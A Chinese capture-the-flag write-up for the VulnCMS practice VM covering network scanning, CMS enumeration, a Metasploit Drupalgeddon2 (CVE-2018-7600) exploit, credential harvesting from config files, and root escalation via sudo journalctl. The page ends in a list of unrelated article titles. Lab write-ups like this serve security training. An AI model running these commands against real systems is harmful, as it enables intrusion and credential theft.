靶机准备

导入虚拟机,并将网络模式设置为NAT



扫描ip

netdiscover -r 192.168.164.0/24

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.191



其中有3个端口开放了http服务

依次访问80、8081、9001

其中80是w3.css 5000端口是WordPress 8081端口是Joomla 9001端口是drupal

cms版本扫描

1.wpscan --url http://192.168.164.191:5000/-e u
得知wordpress版本为5.7.2(这个前面nmap也扫出了)和用户名wordpress_admin
2.perl joomscan.pl --url http://192.168.164.191:8081/
得到joomla版本3.4.3
3.python3 cmsmap.py http://192.168.164.191:9001
得到drupal版本7.54



drupal 7.54有个RCE漏洞CVE-2018-7600



使用msf,可以成功获取到一个meterpreter

use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.164.191
set rport 9001
run



转换为交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"

不是root权限

提权

查看具备suid的有那些命令

find / -perm -u=s -type f 2>/dev/null



没有能直接用来提权的。

开放了22ssh端口,收集信息

cat /etc/passwd
ls -l /home



发现elliot、tyrell、ghost这三个普通用户

在/var/www/html/drupal/sites/default/settings.php找到到drupal配置文件,得到数据库用户名密码:drupal_admin/p@$$_C!rUP@!_cM5

在/var/www/html/joomla/configuration.php找到joomla配置信息,收集到数据库用户名:joomla_admin/j00m1_@_dBpA$$

在/var/www/html/wordpress/public_html/wp-config.php找到wordpress配置信息,收集到数据库用户名密码:wp_admin/UUs3R_C!B@p@55



这里我着这几个数据库都连接不上

再找有用的信息

在/drupal/misc/tyrell.passwenji文件中找到用户及密码tyrell/mR_R0bo7_i5_R3@!_



切换到用户



发现用户可以无密码执行root权限文件/bin/journalctl



获取root权限

sudo journalctl
!/bin/sh



到root目录下获得flag

VULNCMS的更多相关文章

  1. 2020 10月CUMTCTF wp

    华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...

随机推荐

  1. Solution -「NWRRC 2017」「洛谷 P7024」Fygon 2.0

    \(\mathcal{Description}\)   Link.   给定一个无并列语句的多重循环,每个变量取值的左端点只能是 \(1\) 或已定义的变量:右端点只能是 \(n\) 或已定义的变量. ...

  2. suse 12 二进制部署 Kubernetets 1.19.7 - 第12章 - 部署dashboard插件

    文章目录 1.12.0.创建namespace 1.12.1.创建Dashboard rbac文件 1.12.2.创建dashboard文件 1.12.3.查看pod以及svc 1.12.4.获取 d ...

  3. JUC并发工具类之 CountDownLatch等待多线程完成

    上篇JUC同步工具之Semaphore - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)示例中,资源释放一个线程就可以退出然后另一个线程可以使用了,那如果需要所有规定数量的资源同时释放了才 ...

  4. JAVA8学习——Stream底层的实现二(学习过程)

    继续深入Stream的底层实现过程 2.spliterator() 接上 https://www.cnblogs.com/bigbaby/p/12159495.html 我们这次回到最开始源码分析的地 ...

  5. 探秘inter()方法

    最近在阅读<深入理解Jav虚拟机>的运行时常量池章节,看到"java语言并不要求常量池一定只有编译器才能产生...运行期间也可以将新的常量放入常量池,这种特性被开发人员利用得比较 ...

  6. 教你如何使用flask实现ajax数据入库

    摘要:在正式编写前需要了解一下如何在 python 函数中去判断,一个请求是 get 还是 post. 本文分享自华为云社区<[首发]flask 实现ajax 数据入库,并掌握文件上传>, ...

  7. VBS病毒实验

    实验目的 探讨VBS病毒实现原理,为更好的深入防御和查杀病毒 实验原理 VBS病毒发生机理 实验内容 编写简单VBS病毒,并实现功能,学习VBS病毒发生机理 实验环境描述 VPC1(虚拟PC) 操作系 ...

  8. [Python]从哪里开始学习写代码(未完待续)

    预警:这只是我在学习中的一点感受,可能并不完全准确,也不包括面向对象编程的思想(我还不太懂),也有水文的嫌疑,大佬请温和批评指正或者绕道. 计算机语言 语言,是用来交流的.计算机是不能直接听懂人的语言 ...

  9. [旧][Android] ButterKnife 浅析

    备注 原发表于2016.05.08,资料已过时,仅作备份,谨慎参考 前言 自上星期写 Retrofit 写吐之后 ... 我问大队长能不能换个其他什么东西写,大队长就说了个单词 ButterKnife ...

  10. 用商业智能BI做出来的报表,甩别人一条街!

    同样是做数据分析的,会商业智能BI的人做的报表都比别人好看.这里所说的好看其实是包括了两个意义,一是排版.色彩搭配等,颜值上的好看:二是把数据分析结果展现地直观易懂上的"好看".想 ...